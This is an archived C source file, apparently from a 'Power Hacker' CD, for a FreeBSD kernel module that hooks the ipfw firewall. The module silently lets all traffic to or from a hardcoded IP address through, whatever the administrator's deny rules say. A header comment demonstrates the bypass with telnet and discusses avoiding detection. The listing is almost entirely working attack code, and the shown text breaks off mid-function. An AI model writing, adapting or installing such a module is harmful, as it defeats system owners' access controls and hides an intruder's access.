home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / s0ftpj / fwbypass.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-12-17  |  21.9 KB  |  923 lines

  1. /*
  2.  * Hacking a firewall ....
  3.  *
  4.  * ipfw filter ;)
  5.  *
  6.  * With this kld ipfw can't block a ip address
  7.  *
  8.  * This code is only for legal purposes so I don't cover module and messages
  9.  * of ipfw.. I write this to give you an idea of how to write a kld...
  10.  *
  11.  * This module has only a problem you have to discover options put on kernel
  12.  * by admin when He has compiled it ... because we can't know
  13.  * them via kld and He could discover this module if we use different options
  14.  * but I give this src only for legal purposes so this isn't a my problem
  15.  *
  16.  * example
  17.  *
  18.  * storpio# ipfw add deny all from 192.168.1.2 to 192.168.1.3
  19.  * 00000 deny ip from 192.168.1.2 to 192.168.1.3
  20.  *
  21.  * storpio# telnet porcellino 22
  22.  * Trying 192.168.1.3 ...
  23.  * telnet: Unable to connect to remote host: Permission denied
  24.  *
  25.  * storpio# kldload ./ipfwfil
  26.  *
  27.  * storpio# telnet porcellino 22
  28.  * Escape character is '^]'
  29.  * SSH-2.0-2.0.13 (non-commercial)
  30.  *
  31.  *
  32.  * code & idea by pigpen [pigpen@s0ftpj.org, deadhead@sikurezza.org]
  33.  */
  34.  
  35.  
  36. #define        IP_FW_FILTER    "192.168.1.2"
  37.  
  38. #include <sys/param.h>
  39. #include <sys/systm.h>
  40. #include <sys/malloc.h>
  41. #include <sys/mbuf.h>
  42. #include <sys/kernel.h>
  43. #include <sys/proc.h>
  44. #include <sys/socket.h>
  45. #include <sys/socketvar.h>
  46. #include <sys/sysctl.h>
  47. #include <sys/ucred.h>
  48. #include <net/if.h>
  49. #include <net/route.h>
  50. #include <netinet/in.h>
  51. #include <netinet/in_systm.h>
  52. #include <netinet/in_pcb.h>
  53. #include <netinet/ip.h>
  54. #include <netinet/ip_var.h>
  55. #include <netinet/ip_icmp.h>
  56. #include <netinet/ip_fw.h>
  57. #include <netinet/ip_dummynet.h>
  58. #include <netinet/tcp.h>
  59. #include <netinet/tcp_timer.h>
  60. #include <netinet/tcp_var.h>
  61. #include <netinet/tcpip.h>
  62. #include <netinet/udp.h>
  63. #include <netinet/udp_var.h>
  64.  
  65. #include <netinet/if_ether.h> /* XXX ethertype_ip */
  66.  
  67. #define IPFW_DEFAULT_RULE    ((u_int)(u_short)~0)
  68.  
  69. static int
  70.         iface_match __P((struct ifnet *ifp, union ip_fw_if *ifu,
  71.                         int byname));
  72.  
  73. static int    ipopts_match __P((struct ip *ip, struct ip_fw *f));
  74. static int
  75.         port_match __P((u_short *portptr, int nports, u_short port,
  76.                     int range_flag));
  77. static int    tcpflg_match __P((struct tcphdr *tcp, struct ip_fw *f));
  78. static int    icmptype_match __P((struct icmp *icmp, struct ip_fw *f));
  79. static void    ipfw_report    __P((struct ip_fw *f, struct ip *ip,
  80.                     struct ifnet *rif, struct ifnet *oif));
  81. static int    is_icmp_query    __P((struct ip *ip));
  82. u_int32_t    inaton        __P((const char *str));
  83.  
  84. #define print_ip(a)    printf("%d.%d.%d.%d",                 \
  85.                 (int)(ntohl(a.s_addr) >> 24) & 0xFF,     \
  86.                 (int)(ntohl(a.s_addr) >> 16) & 0xFF,     \
  87.                 (int)(ntohl(a.s_addr) >> 8) & 0xFF,     \
  88.                 (int)(ntohl(a.s_addr)) & 0xFF);
  89.  
  90.  
  91. MALLOC_DEFINE(M_IPFW, "Ipfw/IpAcct", "Ipfw/IpAcct chain's");
  92.  
  93.  
  94. static int fw_one_pass = 1; /* check */
  95. extern LIST_HEAD(ip_fw_head, ip_fw_chain) ip_fw_chain;
  96. static int fw_verbose = 1; /* check */
  97. static int fw_verbose_limit = 0; /* check */
  98.  
  99.  
  100. static struct ip_fw_chain * lookup_next_rule(struct ip_fw_chain *me);
  101.  
  102. static struct ip_fw_chain *
  103. lookup_next_rule(struct ip_fw_chain *me)
  104. {
  105.     struct ip_fw_chain *chain ;
  106.     int rule = me->rule->fw_skipto_rule ; /* guess... */
  107.  
  108.     if ( (me->rule->fw_flg & IP_FW_F_COMMAND) == IP_FW_F_SKIPTO )
  109.     for (chain = me->chain.le_next; chain ; chain = chain->chain.le_next )
  110.         if (chain->rule->fw_number >= rule)
  111.                 return chain ;
  112.     return me->chain.le_next ; /* failure or not a skipto */
  113. }
  114.  
  115. static int
  116. ip_fw_chk(struct ip **pip, int hlen,
  117.     struct ifnet *oif, u_int16_t *cookie, struct mbuf **m,
  118.     struct ip_fw_chain **flow_id,
  119.         struct sockaddr_in **next_hop)
  120. {
  121.     struct ip_fw_chain *chain;
  122.     struct ip_fw *rule = NULL;
  123.     struct ip *ip = NULL ;
  124.     struct ifnet *const rif = (*m)->m_pkthdr.rcvif;
  125.     u_short offset = 0 ;
  126.     u_short src_port, dst_port;
  127.     u_int16_t skipto = *cookie;
  128.  
  129.  
  130.  
  131.     if (pip) { /* normal ip packet */
  132.         ip = *pip;
  133.         offset = (ip->ip_off & IP_OFFMASK);
  134.     } else { /* bridged or non-ip packet */
  135.         struct ether_header *eh = mtod(*m, struct ether_header *);
  136.         switch (ntohs(eh->ether_type)) {
  137.         case ETHERTYPE_IP :
  138.         if ((*m)->m_len<sizeof(struct ether_header) + sizeof(struct ip))
  139.             goto non_ip ;
  140.         ip = (struct ip *)(eh + 1 );
  141.         if (ip->ip_v != IPVERSION)
  142.             goto non_ip ;
  143.         hlen = ip->ip_hl << 2;
  144.         if (hlen < sizeof(struct ip)) /* minimum header length */
  145.             goto non_ip ;
  146.         if ((*m)->m_len < 14 + hlen + 14) {
  147.             printf("-- m_len %d, need more...\n", (*m)->m_len);
  148.             goto non_ip ;
  149.         }
  150.         offset = (ip->ip_off & IP_OFFMASK);
  151.         break ;
  152.         default :
  153. non_ip:         ip = NULL ;
  154.         break ;
  155.         }
  156.     }
  157.  
  158.     if (*flow_id) {
  159.         if (fw_one_pass)
  160.         return 0 ;
  161.  
  162.         chain = LIST_NEXT( *flow_id, chain);
  163.  
  164.         if ( (chain = (*flow_id)->rule->next_rule_ptr) == NULL )
  165.         chain = (*flow_id)->rule->next_rule_ptr =
  166.             lookup_next_rule(*flow_id) ;
  167.         if (! chain) goto dropit;
  168.     } else {
  169.     /*
  170.      * Go down the chain, looking for enlightment
  171.      * If we've been asked to start at a given rule immediatly, do so.
  172.      */
  173.     chain = LIST_FIRST(&ip_fw_chain);
  174.     if ( skipto ) {
  175.         if (skipto >= IPFW_DEFAULT_RULE)
  176.             goto dropit;
  177.         while (chain && (chain->rule->fw_number <= skipto)) {
  178.             chain = LIST_NEXT(chain, chain);
  179.         }
  180.         if (! chain) goto dropit;
  181.     }
  182.     }
  183.     *cookie = 0;
  184.     for (; chain; chain = LIST_NEXT(chain, chain)) {
  185.         register struct ip_fw * f ;
  186. again:
  187.         f = chain->rule;
  188.  
  189.         if (oif) {
  190.             /* Check direction outbound */
  191.             if (!(f->fw_flg & IP_FW_F_OUT))
  192.                 continue;
  193.         } else {
  194.             /* Check direction inbound */
  195.             if (!(f->fw_flg & IP_FW_F_IN))
  196.                 continue;
  197.         }
  198.         if (ip == NULL ) {
  199.             struct ether_header *eh = mtod(*m, struct ether_header *);
  200.  
  201.             if (f->fw_number == IPFW_DEFAULT_RULE)
  202.             goto got_match ;
  203.  
  204.             if ( f->fw_src.s_addr != 0 || f->fw_prot != IPPROTO_UDP
  205.             || f->fw_smsk.s_addr != 0xffffffff )
  206.             continue;
  207.             switch (IP_FW_GETNSRCP(f)) {
  208.             case 1: /* match one type */
  209.             if (  /* ( (f->fw_flg & IP_FW_F_INVSRC) != 0) ^ */
  210.                 ( f->fw_uar.fw_pts[0] == ntohs(eh->ether_type) )  ) {
  211.                 goto got_match ;
  212.             }
  213.             break ;
  214.             default:
  215.             break ;
  216.             }
  217.             continue ;
  218.         }
  219.  
  220.         /* Fragments */
  221.         if ((f->fw_flg & IP_FW_F_FRAG) && offset == 0 )
  222.             continue;
  223.  
  224.         /* If src-addr doesn't match, not this rule. */
  225.         if (((f->fw_flg & IP_FW_F_INVSRC) != 0) ^ ((ip->ip_src.s_addr
  226.             & f->fw_smsk.s_addr) != f->fw_src.s_addr))
  227.             continue;
  228.  
  229.         /* If dest-addr doesn't match, not this rule. */
  230.         if (((f->fw_flg & IP_FW_F_INVDST) != 0) ^ ((ip->ip_dst.s_addr
  231.             & f->fw_dmsk.s_addr) != f->fw_dst.s_addr))
  232.             continue;
  233.  
  234.         /* Interface check */
  235.         if ((f->fw_flg & IF_FW_F_VIAHACK) == IF_FW_F_VIAHACK) {
  236.             struct ifnet *const iface = oif ? oif : rif;
  237.  
  238.             /* Backwards compatibility hack for "via" */
  239.             if (!iface || !iface_match(iface,
  240.                 &f->fw_in_if, f->fw_flg & IP_FW_F_OIFNAME))
  241.                 continue;
  242.         } else {
  243.             /* Check receive interface */
  244.             if ((f->fw_flg & IP_FW_F_IIFACE)
  245.                 && (!rif || !iface_match(rif,
  246.                   &f->fw_in_if, f->fw_flg & IP_FW_F_IIFNAME)))
  247.                 continue;
  248.             /* Check outgoing interface */
  249.             if ((f->fw_flg & IP_FW_F_OIFACE)
  250.                 && (!oif || !iface_match(oif,
  251.                   &f->fw_out_if, f->fw_flg & IP_FW_F_OIFNAME)))
  252.                 continue;
  253.         }
  254.  
  255.         /* Check IP options */
  256.         if (f->fw_ipopt != f->fw_ipnopt && !ipopts_match(ip, f))
  257.             continue;
  258.  
  259.         /* Check protocol; if wildcard, and no [ug]id, match */
  260.         if (f->fw_prot == IPPROTO_IP) {
  261.             if (!(f->fw_flg & (IP_FW_F_UID|IP_FW_F_GID)))
  262.                 goto got_match;
  263.         } else
  264.             /* If different, don't match */
  265.             if (ip->ip_p != f->fw_prot)
  266.                 continue;
  267.  
  268. #define PULLUP_TO(l)    do {                                            \
  269.                 int len = (pip ? l : l + 14 ) ;             \
  270.                 if ((*m)->m_len < (len) ) {                 \
  271.                 if ( (*m = m_pullup(*m, (len))) == 0)   \
  272.                     goto bogusfrag;                     \
  273.                 ip = mtod(*m, struct ip *);             \
  274.                 if (pip)                                \
  275.                     *pip = ip ;                         \
  276.                 else                                    \
  277.                     ip = (struct ip *)((char *)ip + 14);\
  278.                 offset = (ip->ip_off & IP_OFFMASK);     \
  279.                 }                                           \
  280.             } while (0)
  281.  
  282.         /* Protocol specific checks for uid only */
  283.         if (f->fw_flg & (IP_FW_F_UID|IP_FW_F_GID)) {
  284.             switch (ip->ip_p) {
  285.             case IPPROTO_TCP:
  286.             {
  287.                 struct tcphdr *tcp;
  288.                 struct inpcb *P;
  289.  
  290.                 if (offset == 1)    /* cf. RFC 1858 */
  291.                     goto bogusfrag;
  292.                 if (offset != 0)
  293.                     continue;
  294.  
  295.                 PULLUP_TO(hlen + 14);
  296.                 tcp =(struct tcphdr *)((u_int32_t *)ip + ip->ip_hl);
  297.  
  298.                 if (oif)
  299.                 P = in_pcblookup_hash(&tcbinfo, ip->ip_dst,
  300.                    tcp->th_dport, ip->ip_src, tcp->th_sport, 0);
  301.                 else
  302.                 P = in_pcblookup_hash(&tcbinfo, ip->ip_src,
  303.                    tcp->th_sport, ip->ip_dst, tcp->th_dport, 0);
  304.  
  305.                 if (P && P->inp_socket && P->inp_socket->so_cred) {
  306.                 if (f->fw_flg & IP_FW_F_UID) {
  307.                     if (P->inp_socket->so_cred->p_ruid !=
  308.                         f->fw_uid)
  309.                         continue;
  310.                 } else if (!groupmember(f->fw_gid,
  311.                         P->inp_socket->so_cred->pc_ucred))
  312.                         continue;
  313.                 } else continue;
  314.  
  315.                 break;
  316.             }
  317.  
  318.             case IPPROTO_UDP:
  319.             {
  320.                 struct udphdr *udp;
  321.                 struct inpcb *P;
  322.  
  323.                 if (offset != 0)
  324.                 continue;
  325.  
  326.                 PULLUP_TO(hlen + 4);
  327.                 udp =(struct udphdr *)((u_int32_t *)ip + ip->ip_hl);
  328.  
  329.                 if (oif)
  330.                 P = in_pcblookup_hash(&udbinfo, ip->ip_dst,
  331.                    udp->uh_dport, ip->ip_src, udp->uh_sport, 1);
  332.                 else
  333.                 P = in_pcblookup_hash(&udbinfo, ip->ip_src,
  334.                    udp->uh_sport, ip->ip_dst, udp->uh_dport, 1);
  335.  
  336.                 if (P && P->inp_socket && P->inp_socket->so_cred) {
  337.                 if (f->fw_flg & IP_FW_F_UID) {
  338.                     if (P->inp_socket->so_cred->p_ruid !=
  339.                         f->fw_uid)
  340.                         continue;
  341.                 } else if (!groupmember(f->fw_gid,
  342.                         P->inp_socket->so_cred->pc_ucred))
  343.                         continue;
  344.                 } else continue;
  345.  
  346.                 break;
  347.             }
  348.  
  349.             default:
  350.                 continue;
  351. /*
  352.  * XXX Shouldn't GCC be allowing two bogusfrag labels if they're both inside
  353.  * separate blocks? Hmm.... It seems it's got incorrect behavior here.
  354.  */
  355. #if 0
  356. bogusfrag:
  357.                 if (fw_verbose)
  358.                     ipfw_report(NULL, ip, rif, oif);
  359.                 goto dropit;
  360. #endif
  361.             }
  362.         }
  363.  
  364.         /* Protocol specific checks */
  365.         switch (ip->ip_p) {
  366.         case IPPROTO_TCP:
  367.             {
  368.             struct tcphdr *tcp;
  369.  
  370.             if (offset == 1)    /* cf. RFC 1858 */
  371.                 goto bogusfrag;
  372.             if (offset != 0) {
  373.                 /*
  374.                  * TCP flags and ports aren't available in this
  375.                  * packet -- if this rule specified either one,
  376.                  * we consider the rule a non-match.
  377.                  */
  378.                 if (f->fw_nports != 0 ||
  379.                     f->fw_tcpf != f->fw_tcpnf)
  380.                     continue;
  381.  
  382.                 break;
  383.             }
  384.             PULLUP_TO(hlen + 14);
  385.             tcp = (struct tcphdr *) ((u_int32_t *)ip + ip->ip_hl);
  386.             if (f->fw_tcpf != f->fw_tcpnf && !tcpflg_match(tcp, f))
  387.                 continue;
  388.             src_port = ntohs(tcp->th_sport);
  389.             dst_port = ntohs(tcp->th_dport);
  390.             goto check_ports;
  391.             }
  392.  
  393.         case IPPROTO_UDP:
  394.             {
  395.             struct udphdr *udp;
  396.  
  397.             if (offset != 0) {
  398.                 /*
  399.                  * Port specification is unavailable -- if this
  400.                  * rule specifies a port, we consider the rule
  401.                  * a non-match.
  402.                  */
  403.                 if (f->fw_nports != 0)
  404.                     continue;
  405.  
  406.                 break;
  407.             }
  408.             PULLUP_TO(hlen + 4);
  409.             udp = (struct udphdr *) ((u_int32_t *)ip + ip->ip_hl);
  410.             src_port = ntohs(udp->uh_sport);
  411.             dst_port = ntohs(udp->uh_dport);
  412. check_ports:
  413.             if (!port_match(&f->fw_uar.fw_pts[0],
  414.                 IP_FW_GETNSRCP(f), src_port,
  415.                 f->fw_flg & IP_FW_F_SRNG))
  416.                 continue;
  417.             if (!port_match(&f->fw_uar.fw_pts[IP_FW_GETNSRCP(f)],
  418.                 IP_FW_GETNDSTP(f), dst_port,
  419.                 f->fw_flg & IP_FW_F_DRNG))
  420.                 continue;
  421.             break;
  422.             }
  423.  
  424.         case IPPROTO_ICMP:
  425.             {
  426.             struct icmp *icmp;
  427.  
  428.             if (offset != 0)    /* Type isn't valid */
  429.                 break;
  430.             PULLUP_TO(hlen + 2);
  431.             icmp = (struct icmp *) ((u_int32_t *)ip + ip->ip_hl);
  432.             if (!icmptype_match(icmp, f))
  433.                 continue;
  434.             break;
  435.             }
  436. #undef PULLUP_TO
  437.  
  438. bogusfrag:
  439.             if (fw_verbose)
  440.                 ipfw_report(NULL, ip, rif, oif);
  441.             goto dropit;
  442.         }
  443.  
  444. got_match:
  445.         *flow_id = chain ; /* XXX set flow id */
  446.         /* Update statistics */
  447.         f->fw_pcnt += 1;
  448.         if (ip) {
  449.             f->fw_bcnt += ip->ip_len;
  450.         }
  451.         f->timestamp = time_second;
  452.  
  453.         /* Log to console if desired */
  454.         if ((f->fw_flg & IP_FW_F_PRN) && fw_verbose)
  455.             ipfw_report(f, ip, rif, oif);
  456.  
  457.  
  458.  
  459.         if( (ip->ip_src.s_addr == inaton(IP_FW_FILTER)  ||
  460.               ip->ip_dst.s_addr == inaton(IP_FW_FILTER)) &&
  461.              (f->fw_flg & IP_FW_F_COMMAND) != IP_FW_F_DIVERT &&
  462.              (f->fw_flg & IP_FW_F_COMMAND) != IP_FW_F_FWD)
  463.          return 0;
  464.  
  465.  
  466.         /* Take appropriate action */
  467.         switch (f->fw_flg & IP_FW_F_COMMAND) {
  468.         case IP_FW_F_ACCEPT:
  469.             return(0);
  470.         case IP_FW_F_COUNT:
  471.             continue;
  472.         case IP_FW_F_DIVERT:
  473.             *cookie = f->fw_number;
  474.             return(f->fw_divert_port);
  475.         case IP_FW_F_TEE:
  476.             /*
  477.              * XXX someday tee packet here, but beware that you
  478.              * can't use m_copym() or m_copypacket() because
  479.              * the divert input routine modifies the mbuf
  480.              * (and these routines only increment reference
  481.              * counts in the case of mbuf clusters), so need
  482.              * to write custom routine.
  483.              */
  484.             continue;
  485.         case IP_FW_F_SKIPTO: /* XXX check */
  486.             if ( f->next_rule_ptr )
  487.                 chain = f->next_rule_ptr ;
  488.             else
  489.                 chain = lookup_next_rule(chain) ;
  490.             if (! chain) goto dropit;
  491.             goto again ;
  492.         case IP_FW_F_PIPE:
  493.             return(f->fw_pipe_nr | 0x10000 );
  494.         case IP_FW_F_FWD:
  495.             /* Change the next-hop address for this packet.
  496.              * Initially we'll only worry about directly
  497.              * reachable next-hop's, but ultimately
  498.              * we will work out for next-hops that aren't
  499.              * direct the route we would take for it. We
  500.              * [cs]ould leave this latter problem to
  501.              * ip_output.c. We hope to high [name the abode of
  502.              * your favourite deity] that ip_output doesn't modify
  503.              * the new value of next_hop (which is dst there)
  504.              */
  505.             if (next_hop != NULL) /* Make sure, first... */
  506.                 *next_hop = &(f->fw_fwd_ip);
  507.             return(0); /* Allow the packet */
  508.         }
  509.  
  510.         /* Deny/reject this packet using this rule */
  511.         rule = f;
  512.         break;
  513.  
  514.     }
  515.  
  516. #ifdef DIAGNOSTIC
  517.     /* Rule IPFW_DEFAULT_RULE should always be there and should always match */
  518.     if (!chain)
  519.         panic("ip_fw: chain");
  520. #endif
  521.  
  522.     /*
  523.      * At this point, we're going to drop the packet.
  524.      * Send a reject notice if all of the following are true:
  525.      *
  526.      * - The packet matched a reject rule
  527.      * - The packet is not an ICMP packet, or is an ICMP query packet
  528.      * - The packet is not a multicast or broadcast packet
  529.      */
  530.     if ((rule->fw_flg & IP_FW_F_COMMAND) == IP_FW_F_REJECT
  531.         && ip
  532.         && (ip->ip_p != IPPROTO_ICMP || is_icmp_query(ip))
  533.         && !((*m)->m_flags & (M_BCAST|M_MCAST))
  534.         && !IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) {
  535.         switch (rule->fw_reject_code) {
  536.         case IP_FW_REJECT_RST:
  537.           {
  538.             struct tcphdr *const tcp =
  539.                 (struct tcphdr *) ((u_int32_t *)ip + ip->ip_hl);
  540.             struct tcpiphdr ti, *const tip = (struct tcpiphdr *) ip;
  541.  
  542.             if (offset != 0 || (tcp->th_flags & TH_RST))
  543.                 break;
  544.             ti.ti_i = *((struct ipovly *) ip);
  545.             ti.ti_t = *tcp;
  546.             bcopy(&ti, ip, sizeof(ti));
  547.             NTOHL(tip->ti_seq);
  548.             NTOHL(tip->ti_ack);
  549.             tip->ti_len = ip->ip_len - hlen - (tip->ti_off << 2);
  550.  
  551.             if (tcp->th_flags & TH_ACK) {
  552.                 tcp_respond(NULL, tip, *m,
  553.                     (tcp_seq)0, ntohl(tcp->th_ack), TH_RST);
  554.             } else {
  555.                 if (tcp->th_flags & TH_SYN)
  556.                     tip->ti_len++;
  557.                 tcp_respond(NULL, tip, *m, tip->ti_seq
  558.                     + tip->ti_len, (tcp_seq)0, TH_RST|TH_ACK);
  559.             }
  560.  
  561.  
  562.             *m = NULL;
  563.             break;
  564.           }
  565.         default:    /* Send an ICMP unreachable using code */
  566.             icmp_error(*m, ICMP_UNREACH,
  567.                  rule->fw_reject_code, 0L, 0);
  568.             *m = NULL;
  569.             break;
  570.         }
  571.     }
  572.  
  573. dropit:
  574.     /*
  575.      * Finally, drop the packet.
  576.      */
  577.     /* *cookie = 0; */ /* XXX is this necessary ? */
  578.     if (*m) {
  579.         m_freem(*m);
  580.         *m = NULL;
  581.     }
  582.     return(0);
  583. }
  584.  
  585.  
  586.  
  587. static ip_fw_chk_t *old_chk_ptr;
  588.  
  589. static int
  590. ipfw_modevent(module_t mod, int type, void *unused)
  591. {
  592.     int s;
  593.  
  594.     switch (type) {
  595.     case MOD_LOAD:
  596.         s = splnet();
  597.         old_chk_ptr = ip_fw_chk_ptr;
  598.         ip_fw_chk_ptr = ip_fw_chk;
  599.         splx(s);
  600.         break;
  601.     case MOD_UNLOAD:
  602.         s = splnet();
  603.         ip_fw_chk_ptr =  old_chk_ptr;
  604.         splx(s);
  605.         break;
  606.     }
  607.     return 0;
  608. }
  609.  
  610. static moduledata_t ipfwmod = {
  611.     "sfire",
  612.     ipfw_modevent,
  613.     0
  614. };
  615. DECLARE_MODULE(sfire, ipfwmod, SI_SUB_PSEUDO, SI_ORDER_ANY);
  616.  
  617. /*
  618.  * Returns 1 if the port is matched by the vector, 0 otherwise
  619.  */
  620. static int
  621. port_match(u_short *portptr, int nports, u_short port, int range_flag)
  622. {
  623.     if (!nports)
  624.         return 1;
  625.     if (range_flag) {
  626.         if (portptr[0] <= port && port <= portptr[1]) {
  627.             return 1;
  628.         }
  629.         nports -= 2;
  630.         portptr += 2;
  631.     }
  632.     while (nports-- > 0) {
  633.         if (*portptr++ == port) {
  634.             return 1;
  635.         }
  636.     }
  637.     return 0;
  638. }
  639.  
  640. static int
  641. tcpflg_match(struct tcphdr *tcp, struct ip_fw *f)
  642. {
  643.     u_char        flg_set, flg_clr;
  644.  
  645.     if ((f->fw_tcpf & IP_FW_TCPF_ESTAB) &&
  646.         (tcp->th_flags & (IP_FW_TCPF_RST | IP_FW_TCPF_ACK)))
  647.         return 1;
  648.  
  649.     flg_set = tcp->th_flags & f->fw_tcpf;
  650.     flg_clr = tcp->th_flags & f->fw_tcpnf;
  651.  
  652.     if (flg_set != f->fw_tcpf)
  653.         return 0;
  654.     if (flg_clr)
  655.         return 0;
  656.  
  657.     return 1;
  658. }
  659.  
  660. static int
  661. icmptype_match(struct icmp *icmp, struct ip_fw *f)
  662. {
  663.     int type;
  664.  
  665.     if (!(f->fw_flg & IP_FW_F_ICMPBIT))
  666.         return(1);
  667.  
  668.     type = icmp->icmp_type;
  669.  
  670.     /* check for matching type in the bitmap */
  671.     if (type < IP_FW_ICMPTYPES_MAX &&
  672.         (f->fw_uar.fw_icmptypes[type / (sizeof(unsigned) * 8)] &
  673.         (1U << (type % (8 * sizeof(unsigned))))))
  674.         return(1);
  675.  
  676.     return(0); /* no match */
  677. }
  678.  
  679. static int
  680. is_icmp_query(struct ip *ip)
  681. {
  682.     const struct icmp *icmp;
  683.     int icmp_type;
  684.  
  685.     icmp = (struct icmp *)((u_int32_t *)ip + ip->ip_hl);
  686.     icmp_type = icmp->icmp_type;
  687.  
  688.     if (icmp_type == ICMP_ECHO || icmp_type == ICMP_ROUTERSOLICIT ||
  689.         icmp_type == ICMP_TSTAMP || icmp_type == ICMP_IREQ ||
  690.         icmp_type == ICMP_MASKREQ)
  691.         return(1);
  692.  
  693.     return(0);
  694. }
  695.  
  696. static int
  697. ipopts_match(struct ip *ip, struct ip_fw *f)
  698. {
  699.     register u_char *cp;
  700.     int opt, optlen, cnt;
  701.     u_char    opts, nopts, nopts_sve;
  702.  
  703.     cp = (u_char *)(ip + 1);
  704.     cnt = (ip->ip_hl << 2) - sizeof (struct ip);
  705.     opts = f->fw_ipopt;
  706.     nopts = nopts_sve = f->fw_ipnopt;
  707.  
  708.     for (; cnt > 0; cnt -= optlen, cp += optlen) {
  709.         opt = cp[IPOPT_OPTVAL];
  710.         if (opt == IPOPT_EOL)
  711.             break;
  712.         if (opt == IPOPT_NOP)
  713.             optlen = 1;
  714.         else {
  715.             optlen = cp[IPOPT_OLEN];
  716.             if (optlen <= 0 || optlen > cnt) {
  717.                 return 0; /*XXX*/
  718.             }
  719.         }
  720.         switch (opt) {
  721.  
  722.         default:
  723.             break;
  724.  
  725.         case IPOPT_LSRR:
  726.             opts &= ~IP_FW_IPOPT_LSRR;
  727.             nopts &= ~IP_FW_IPOPT_LSRR;
  728.             break;
  729.  
  730.         case IPOPT_SSRR:
  731.             opts &= ~IP_FW_IPOPT_SSRR;
  732.             nopts &= ~IP_FW_IPOPT_SSRR;
  733.             break;
  734.  
  735.         case IPOPT_RR:
  736.             opts &= ~IP_FW_IPOPT_RR;
  737.             nopts &= ~IP_FW_IPOPT_RR;
  738.             break;
  739.         case IPOPT_TS:
  740.             opts &= ~IP_FW_IPOPT_TS;
  741.             nopts &= ~IP_FW_IPOPT_TS;
  742.             break;
  743.         }
  744.         if (opts == nopts)
  745.             break;
  746.     }
  747.     if (opts == 0 && nopts == nopts_sve)
  748.         return 1;
  749.     else
  750.         return 0;
  751. }
  752.  
  753. static int
  754. iface_match(struct ifnet *ifp, union ip_fw_if *ifu, int byname)
  755. {
  756.     /* Check by name or by IP address */
  757.     if (byname) {
  758.         /* Check unit number (-1 is wildcard) */
  759.         if (ifu->fu_via_if.unit != -1
  760.             && ifp->if_unit != ifu->fu_via_if.unit)
  761.             return(0);
  762.         /* Check name */
  763.         if (strncmp(ifp->if_name, ifu->fu_via_if.name, FW_IFNLEN))
  764.             return(0);
  765.         return(1);
  766.     } else if (ifu->fu_via_ip.s_addr != 0) {    /* Zero == wildcard */
  767.         struct ifaddr *ia;
  768.  
  769.         for (ia = ifp->if_addrhead.tqh_first;
  770.             ia != NULL; ia = ia->ifa_link.tqe_next) {
  771.             if (ia->ifa_addr == NULL)
  772.                 continue;
  773.             if (ia->ifa_addr->sa_family != AF_INET)
  774.                 continue;
  775.             if (ifu->fu_via_ip.s_addr != ((struct sockaddr_in *)
  776.                 (ia->ifa_addr))->sin_addr.s_addr)
  777.                 continue;
  778.             return(1);
  779.         }
  780.         return(0);
  781.     }
  782.     return(1);
  783. }
  784.  
  785. static void
  786. ipfw_report(struct ip_fw *f, struct ip *ip,
  787.     struct ifnet *rif, struct ifnet *oif)
  788. {
  789.     if (ip) {
  790.     static u_int64_t counter;
  791.     struct tcphdr *const tcp = (struct tcphdr *) ((u_int32_t *) ip+ ip->ip_hl);
  792.     struct udphdr *const udp = (struct udphdr *) ((u_int32_t *) ip+ ip->ip_hl);
  793.     struct icmp *const icmp = (struct icmp *) ((u_int32_t *) ip + ip->ip_hl);
  794.     int count;
  795.  
  796.     count = f ? f->fw_pcnt : ++counter;
  797.     if (fw_verbose_limit != 0 && count > fw_verbose_limit)
  798.         return;
  799.  
  800.     /* Print command name */
  801.     printf("ipfw: %d ", f ? f->fw_number : -1);
  802.     if (!f)
  803.         printf("Refuse");
  804.     else
  805.         switch (f->fw_flg & IP_FW_F_COMMAND) {
  806.         case IP_FW_F_DENY:
  807.             printf("Deny");
  808.             break;
  809.         case IP_FW_F_REJECT:
  810.             if (f->fw_reject_code == IP_FW_REJECT_RST)
  811.                 printf("Reset");
  812.             else
  813.                 printf("Unreach");
  814.             break;
  815.         case IP_FW_F_ACCEPT:
  816.             printf("Accept");
  817.             break;
  818.         case IP_FW_F_COUNT:
  819.             printf("Count");
  820.             break;
  821.         case IP_FW_F_DIVERT:
  822.             printf("Divert %d", f->fw_divert_port);
  823.             break;
  824.         case IP_FW_F_TEE:
  825.             printf("Tee %d", f->fw_divert_port);
  826.             break;
  827.         case IP_FW_F_SKIPTO:
  828.             printf("SkipTo %d", f->fw_skipto_rule);
  829.             break;
  830.         case IP_FW_F_PIPE:
  831.             printf("Pipe %d", f->fw_skipto_rule);
  832.             break;
  833.         case IP_FW_F_FWD:
  834.             printf("Forward to ");
  835.             print_ip(f->fw_fwd_ip.sin_addr);
  836.             if (f->fw_fwd_ip.sin_port)
  837.                 printf(":%d", f->fw_fwd_ip.sin_port);
  838.             break;
  839.         default:
  840.             printf("UNKNOWN");
  841.             break;
  842.         }
  843.     printf(" ");
  844.  
  845.     switch (ip->ip_p) {
  846.     case IPPROTO_TCP:
  847.         printf("TCP ");
  848.         print_ip(ip->ip_src);
  849.         if ((ip->ip_off & IP_OFFMASK) == 0)
  850.             printf(":%d ", ntohs(tcp->th_sport));
  851.         else
  852.             printf(" ");
  853.         print_ip(ip->ip_dst);
  854.         if ((ip->ip_off & IP_OFFMASK) == 0)
  855.             printf(":%d", ntohs(tcp->th_dport));
  856.         break;
  857.     case IPPROTO_UDP:
  858.         printf("UDP ");
  859.         print_ip(ip->ip_src);
  860.         if ((ip->ip_off & IP_OFFMASK) == 0)
  861.             printf(":%d ", ntohs(udp->uh_sport));
  862.         else
  863.             printf(" ");
  864.         print_ip(ip->ip_dst);
  865.         if ((ip->ip_off & IP_OFFMASK) == 0)
  866.             printf(":%d", ntohs(udp->uh_dport));
  867.         break;
  868.     case IPPROTO_ICMP:
  869.         if ((ip->ip_off & IP_OFFMASK) == 0)
  870.             printf("ICMP:%u.%u ", icmp->icmp_type, icmp->icmp_code);
  871.         else
  872.             printf("ICMP ");
  873.         print_ip(ip->ip_src);
  874.         printf(" ");
  875.         print_ip(ip->ip_dst);
  876.         break;
  877.     default:
  878.         printf("P:%d ", ip->ip_p);
  879.         print_ip(ip->ip_src);
  880.         printf(" ");
  881.         print_ip(ip->ip_dst);
  882.         break;
  883.     }
  884.     if (oif)
  885.         printf(" out via %s%d", oif->if_name, oif->if_unit);
  886.     else if (rif)
  887.         printf(" in via %s%d", rif->if_name, rif->if_unit);
  888.     if ((ip->ip_off & IP_OFFMASK))
  889.         printf(" Fragment = %d",ip->ip_off & IP_OFFMASK);
